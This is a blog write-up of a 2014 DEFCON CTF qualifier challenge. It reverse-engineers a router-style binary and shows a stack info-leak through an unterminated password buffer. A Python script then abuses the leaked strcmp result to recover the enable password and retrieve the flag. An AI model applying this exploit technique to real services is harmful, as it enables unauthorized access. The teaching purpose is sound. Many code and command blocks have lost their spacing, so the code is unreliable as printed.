Quantcast
Channel: Endgame's Blog
Viewing all articles
Browse latest Browse all 698

DEFCON Capture the Flag Qualification Challenge #1

$
0
0

I constantly challenge myself to gain deeper knowledge in reverse engineering, vulnerability discovery, and exploit mitigations. By day, I channel this knowledge and passion into my job as a security researcher at Endgame. By night, I use these skills as a Capture the Flag code warrior. I partook in the DEFCON CTF qualification round this weekend to help sharpen these skills and keep up with the rapid changes in reverse engineering technology. DEFCON CTF qualifications are a fun, and sometimes frustrating, way to cultivate my skillset by solving challenges alongside my team, Samurai.

CTF Background

For those of you who aren’t familiar with a computer security CTF game, Wikipedia provides a simple explanation. The qualification round for the DEFCON CTF is run jeopardy style while the actual game is an attack/defense model. Qualifications ran all weekend for 48 hours with no breaks. Since 2013 the contest has been run by volunteers belonging to a hacker club called the Legitimate Business Syndicate, which is partly comprised of former Samurai members. They did a fantastic job with qualifications this year and ran a smooth game with almost no downtime, solid technical challenges, round the clock support and the obligatory good-natured heckling. As a fun exercise, let’s walk through an interesting problem from the game. All of the problems from the CTF game can be found here.

Problem Introduction

The first challenge was written by someone we’ll call Mr. G and was worth 2 points. Upon opening the challenge you are presented with the following text:

http://services.2014.shallweplayaga.me/shitsco_c8b1aa31679e945ee64bde1bdb19d035 is running at:shitsco_c8b1aa31679e945ee64bde1bdb19d035.2014.shallweplayaga.me:31337Capturetheflag.

Downloading the shitsco_c8b1aa31679e945ee64bde1bdb19d035 file and running the “file” command reveals:

user@ubuntu:~$fileshitscoshitsco:ELF32-bitLSBexecutable,Intel80386,version1(SYSV),dynamicallylinked(usessharedlibs),forGNU/Linux2.6.24,BuildID[sha1]=0x8657c9bdf925b4864b09ce277be0f4d52dae33a6,stripped

This is an ELF file that we can assume will run on a Linux 32-bit OS. Symbols were stripped to make reverse engineering a bit more difficult. At least it is not statically linked. I generally like to run strings on a binary at this point to get a quick sense of what might be happening in the binary. Doing this shows several string APIs imported and text that looks to be indicative of a command prompt style interface. Let’s run the binary to confirm this:

user@ubuntu:~$./shitscoFailedtoopenpasswordfile:Nosuchfileordirectory

Ok, the program did not do what I expected. We will need to add a user shitsco and create a file in his home directory called password. I determined this by running:

shitsco@ubuntu:~$sudostrace./shitscoopen("/home/shitsco/password",O_RDONLY)=-1ENOENT(Nosuchfileordirectory)

We can see that the file /home/shitsco/password was opened for reading and that this failed (ENOENT) because the file did not exist. You should create this file without a new line on the end or you might have trouble later on. I discovered this through trial and error. After creating the file we get better results:

shitsco@ubuntu:~$echonasdf>/home/shitsco/passwordshitsco@ubuntu:~$./shitscooooooooo8ooooo88o8888888oooooooooo888oooooooooo8oooooooooooooo888oooooo888888888888888ooooooo888888888888888888888888888888888888888o88oooo888o888oo888oo888o888o88oooooo8888ooo88888ooo88WelcometoShitscoInternetOperatingSystem(IOS)Foracommandlist,enter?$?==========AvailableCommands==========|enable||ping||tracert||?||shell||set||show||credits||quit|======================================Type?followedbyacommandformoredetailedinformation$

This looks like fun. We have what looks to be a router prompt. Typically, the goal with these binary exploitation problems is to identify somewhere that user input causes the program to crash and then devise a way to make that input take control over the program and reveal a file called flag residing on the remote machine. At this point, I have two choices. I can play around with the input to see if I can get it to crash or I can dive into the reverse engineering. I opted to play around with the input and the first thing that caught my attention was the shell command!

WelcometoShitscoInternetOperatingSystem(IOS)Foracommandlist,enter?$shellbash-3.2$

No way, it couldn’t be that easy. Waiting 5 seconds produces:

Yeah,right.

Ok, let the taunting begin. We can ignore the shell command. Thanks for the laugh Mr. G. By playing with the command line interface, I found the command input length was limited to 80 characters with anything coming after 80 characters applying to the next command. The set and show commands looked interesting, but even adding 1000 variables of different lengths failed to produce any interesting behavior. Typically, I am looking for a way to crash the program at this point.

What really looked like the solution came from the enable command:

$enablePleaseenterapassword:asdfAuthenticationSuccessful#?==========AvailableCommands==========|enable||ping||tracert||?||flag||shell||set||show||credits||quit||disable|======================================Type?followedbyacommandformoredetailedinformation#flagTheflagis:foobarbaz

The password for the enable prompt comes from the password file we created earlier. I also created a file in /home/shitsco/ called flag with the contents foobarbaz; which is now happily displayed on my console. The help (? command) after we enter “enabled mode” has two extra commands: disable and flag. So, if I can get the enable password on the remote machine, then I can simply run the flag command and score points on the problem. Ok, we have a plan, but how to crack that password?

The “Enable” Password

To recover this password, the first option that comes to mind is brute force. This is usually an option of last resort in CTF competitions. Just think about what could happen to this poor service if 1000 people decided to brute force the challenge. Having an inaccessible service spoils the fun for others playing. It’s time to dive a bit deeper and see if there is anything else we could try.

I tried long passwords, passwords with format strings such as %s, empty passwords, and passwords with binary data. None of these produced any results. However, a password length of 5 caused a strange behavior:

$enablePleaseenterapassword:AAAAANope.Thepasswordisn'tAAAAAr▒@▒r▒▒ο`M_▒`▒▒▒t

Ok, that looks like we’re getting extra memory back. If we look at it as hex we see:

shitsco@ubuntu:~$echo-eenable\\nAAAAA\\n|./shitsco|xxd0000220:20205468652070617373776f72642069Thepasswordi0000230:736e2774204141414141f07cb740f47csn'tAAAAA.|.@.|0000240:b79290c1bf60c20408088d69b760c204.....`.....i.`..0000250:08a0297fb7010a24200a3a20496e7661..)....$.:Inva0000260:6c696420636f6d6d616e640a2420lidcommand.$

The bit that starts 0xf0 0x7c is the start of the memory disclosure. Looking a little further, we see 0x60 0xc2 0x04 0x08. This looks like it could be a little endian encoded pointer for 0x0804c260. This is pretty cool and all, but where is the password?

I tried sending in all possible password lengths and it was always leaking the same amount of data. But the leak only worked if the password is more than 4 characters. It’s time to turn to IDA Pro and focus in on the function for the enable command.

This is the disassembly for the function responsible for handling the enable command. It is easy to find with string cross references:

.text:08049230enableprocnear;DATAXREF:.data:0804C270o.text:08049230.text:08049230dest=dwordptr-4Ch.text:08049230src=dwordptr-48h.text:08049230n=dwordptr-44h.text:08049230term=byteptr-40h.text:08049230s2=byteptr-34h.text:08049230var_14=dwordptr-14h.text:08049230cookie=dwordptr-10h.text:08049230arg_0=dwordptr4.text:08049230.text:08049230pushesi.text:08049231pushebx.text:08049232subesp,44h.text:08049235movesi,[esp+4Ch+arg_0].text:08049239moveax,largegs:14h.text:0804923Fmov[esp+4Ch+cookie],eax.text:08049243xoreax,eax.text:08049245moveax,[esi].text:08049247testeax,eax.text:08049249jzloc_80492D8.text:0804924Fleaebx,[esp+4Ch+s2].text:08049253mov[esp+4Ch+n],20h;n.text:0804925Bmov[esp+4Ch+src],eax;src.text:0804925Fmov[esp+4Ch+dest],ebx;dest.text:08049262call_strncpy.text:08049267.text:08049267loc_8049267:;CODEXREF:enable+EDj.text:08049267mov[esp+4Ch+src],ebx;s2.text:0804926Bmov[esp+4Ch+dest],offsetpassword_mem;s1.text:08049272call_strcmp.text:08049277mov[esp+4Ch+var_14],eax.text:0804927Bmoveax,[esp+4Ch+var_14].text:0804927Ftesteax,eax.text:08049281jzshortloc_80492B8.text:08049283mov[esp+4Ch+n],ebx.text:08049287mov[esp+4Ch+src],offsetaNope_ThePasswo;"Nope.  The password isn't %s\n".text:0804928Fmov[esp+4Ch+dest],1.text:08049296call___printf_chk.text:0804929B.text:0804929Bloc_804929B:;CODEXREF:enable+A5j.text:0804929Bmov[esp+4Ch+dest],esi.text:0804929Ecallsub_8049090.text:080492A3moveax,[esp+4Ch+cookie].text:080492A7xoreax,largegs:14h.text:080492AEjnzshortloc_8049322.text:080492B0addesp,44h.text:080492B3popebx.text:080492B4popesi.text:080492B5retn.text:080492B5;---------------------------------------------------------------------------.text:080492B6align4.text:080492B8.text:080492B8loc_80492B8:;CODEXREF:enable+51j.text:080492B8mov[esp+4Ch+dest],offsetaAuthentication;"Authentication Successful".text:080492BFmovds:admin_privs,1.text:080492C9movds:prompt,23h.text:080492D0call_puts.text:080492D5jmpshortloc_804929B.text:080492D5;---------------------------------------------------------------------------.text:080492D7align4.text:080492D8.text:080492D8loc_80492D8:;CODEXREF:enable+19j.text:080492D8mov[esp+4Ch+src],offsetaPleaseEnterAPa;"Please enter a password: ".text:080492E0leaebx,[esp+4Ch+s2].text:080492E4mov[esp+4Ch+dest],1.text:080492EBcall___printf_chk.text:080492F0moveax,ds:stdout.text:080492F5mov[esp+4Ch+dest],eax;stream.text:080492F8call_fflush.text:080492FDmovdwordptr[esp+4Ch+term],0Ah;term.text:08049305mov[esp+4Ch+n],20h;a3.text:0804930Dmov[esp+4Ch+src],ebx;a2.text:08049311mov[esp+4Ch+dest],0;fd.text:08049318callread_n_until.text:0804931Djmploc_8049267.text:08049322;---------------------------------------------------------------------------.text:08049322.text:08049322loc_8049322:;CODEXREF:enable+7Ej.text:08049322call___stack_chk_fail.text:08049322enableendp

Here is the C decompiled version of the function that is a bit clearer:

int__cdeclenable(constchar**a1){constchar*v1;// ebx@2chars2[32];// [sp+18h] [bp-34h]@2intv4;// [sp+38h] [bp-14h]@3intcookie[4];// [sp+3Ch] [bp-10h]@1cookie[0]=*MK_FP(__GS__,20);if(*a1){v1=s2;strncpy(s2,*a1,32u);}else{v1=s2;__printf_chk(1,"Please enter a password: ");fflush(stdout);read_n_until(0,(int)s2,32,10);}v4=strcmp((constchar*)password_mem,v1);if(v4){__printf_chk(1,"Nope.  The password isn't %s\n",v1);}else{admin_privs=1;prompt='#';puts("Authentication Successful");}sub_8049090((void**)a1);return*MK_FP(__GS__,20)^cookie[0];}

I’ve labeled a few things here like the local variables and the recv_n_until function. Notice that s2 or [esp+4Ch+src] is the destination buffer for the password we enter. It also looks possible to run enable < password > and not get prompted for the password. This results in a strncpy and the other prompting path read the password with a call to recv_n_until. Here is the interesting thing: When I tried the strncpy code path, I did not get the leak behavior:

$enablePleaseenterapassword:AAAAANope.Thepasswordisn'tAAAAA`x@dx▒▒▒`▒d▒`▒▒▒z$enableAAAAANope.Thepasswordisn'tAAAAA$

So, what is the difference? Let’s have a quick look at the strncpy man page, namely the bit that says “If the length of src is less than n, strncpy() writes additional null bytes to dest to ensure that a total of n bytes are written.” On the prompting code path, our string is not being null terminated but if we enter the password with the enable command it is null terminated. We can also see that the s2 variable on the stack is never initialized to 0. There is no memset call.

Still we don’t have the password. It doesn’t exist in the leaked data. Leaks are very useful in exploitation as a defeat to ASLR. We might have enough information here to recover base addresses of the stack or libc. However, the path we are on to get the flag does not involve taking advantage of memory corruption. Is there anything in this leak that could give us something useful?

To answer this question let’s look at the stack layout and what is actually getting printed back to us:

.text:08049230dest=dwordptr-4Ch.text:08049230src=dwordptr-48h.text:08049230n=dwordptr-44h.text:08049230term=byteptr-40h.text:08049230s2=byteptr-34h.text:08049230var_14=dwordptr-14h.text:08049230cookie=dwordptr-10h.text:08049230arg_0=dwordptr4

Therefore, if we are copying into s2 and we only leak data after the 4th character, we can assume that by default in the uninitialized stack there is a null at s2[3]. Overwriting this with user data causes our string to not terminate until we run into a null later on up the stack. What is var_14?

v4=strcmp((constchar*)password_mem,v1);

It turns out that var_14 (or v4) is the return from strcmp. Hummm. Here is what the main page has to say about that “The strcmp() and strncmp() functions return an integer less than, equal to, or greater than zero if s1 (or the first n bytes thereof) is found, respectively, to be less than, to match, or be greater than s2.” What this means is that we can tell if our input string is less than or greater than the password on the remote machine. Let’s try it locally first. Our password locally is “asdf”. Let’s see if we can divine the first character using this method. The var_14 variable should be the 33rd character we get back:

shitsco@ubuntu:~$python-c"import sys;sys.stdout.write('enable\n' + ''*80 + '\n')"|./shitsco|xxd0000210:2070617373776f72643a204e6f70652epassword:Nope.0000220:20205468652070617373776f72642069Thepasswordi0000230:736e2774202020202020202020202020sn't0000240:202020202020202020202020202020200000250:2020202020010a24200a202020202020..$.

I picked the space character for our password because on the ascii table space (0x20) is the lowest value printable character. We can see that the bit in bold here was 0x0100 as var_14. The null after the 0x1 is implied. Now, what happens if we set this to ‘a’ + 79 spaces?

shitsco@ubuntu:~$python-c"import sys;sys.stdout.write('enable\na' + ''*79 + '\n')"|./shitsco|xxd0000220:20205468652070617373776f72642069Thepasswordi0000230:736e2774206120202020202020202020sn'ta0000240:202020202020202020202020202020200000250:2020202020010a24200a202020202020..$.0000260:20202020202020202020202020202020

Remember, that ‘a’ was actually the first character of our password locally and we still got a 0x1 back. How about ‘b’?

shitsco@ubuntu:~$python-c"import sys;sys.stdout.write('enable\nb' + ''*79 + '\n')"|./shitsco|xxd0000220:20205468652070617373776f72642069Thepasswordi0000230:736e2774206220202020202020202020sn'tb0000240:202020202020202020202020202020200000250:2020202020ffffffff0a24200a202020.....$.0000260:20202020202020202020202020202020

Bingo. Here we have a value of 0xffffffff for var_14. Therefore, we know that the string we sent in is numerically higher than the actual password. The last character we tried, ‘a’, was still giving us back 0x01. When we see the value of var_14 change to -1 we know that the correct character was not the most recent attempt but the one prior to it. We can send all characters sequentially until we find the password.

Automation

The password used on the remote server is probably short enough that we could disclose it by hand. However, as a general rule in life, if I have to do something more than a few times I almost always save time by writing a quick python script to automate. Since we are going to be running this on a remote target I’ve set the server to run over a TCP port with some fancy piping over a fifo pipe.

shitsco@ubuntu:~$mkfifopipeshitsco@ubuntu:~$nc-l31337<pipe|./shitsco>pipe

Here is a python script that will discover the password used. I’ve changed the password file on my local system to the one that was used during the game:

importsocketimportstringimportsyss=socket.socket()s.connect(("192.168.1.151",31337))s.recv(1024)deftry_pass(passwd):s.send("enable\n")s.recv(1024)s.send(passwd+"\n")ret=s.recv(1024)ifret.find("Authentication Successful")!=-1:return"!"returnret[ret.find("$")-2]chars=[]forxinstring.printable:chars.append(x)chars.sort()known=""while1:prev=chars[0]forxinchars:i=try_pass(known+x+""*(30-len(known)))iford(i)==0xff:known+=prevbreakprev=xi=try_pass(known[:-1]+x+"\x00")ifi=='!':print"Enable password is: %s"%(known[:-1]+x)sys.exit()

Running the script produces the output:

$pythonshitsco.pyEnablepasswordis:bruT3m3hard3rb4by

Excellent, let’s connect to the service with netcat and retrieve the flag:

$ncshitsco_c8b1aa31679e945ee64bde1bdb19d035.2014.shallweplayaga.me31337oooooooo8ooooo88o8888888oooooooooo888oooooooooo8oooooooooooooo888oooooo888888888888888ooooooo888888888888888888888888888888888888888o88oooo888o888oo888oo888o888o88oooooo8888ooo88888ooo88WelcometoShitscoInternetOperatingSystem(IOS)Foracommandlist,enter?$enablebruT3m3hard3rb4byAuthenticationSuccessful#flagTheflagis:14424ff8673ad039b32cfd756989be12

All that’s left to do is submit the flag and score points!

I’ll be posting another challenge and solution from the CTF soon, so if you found this one interesting, be sure to check back for more.


Viewing all articles
Browse latest Browse all 698

Trending Articles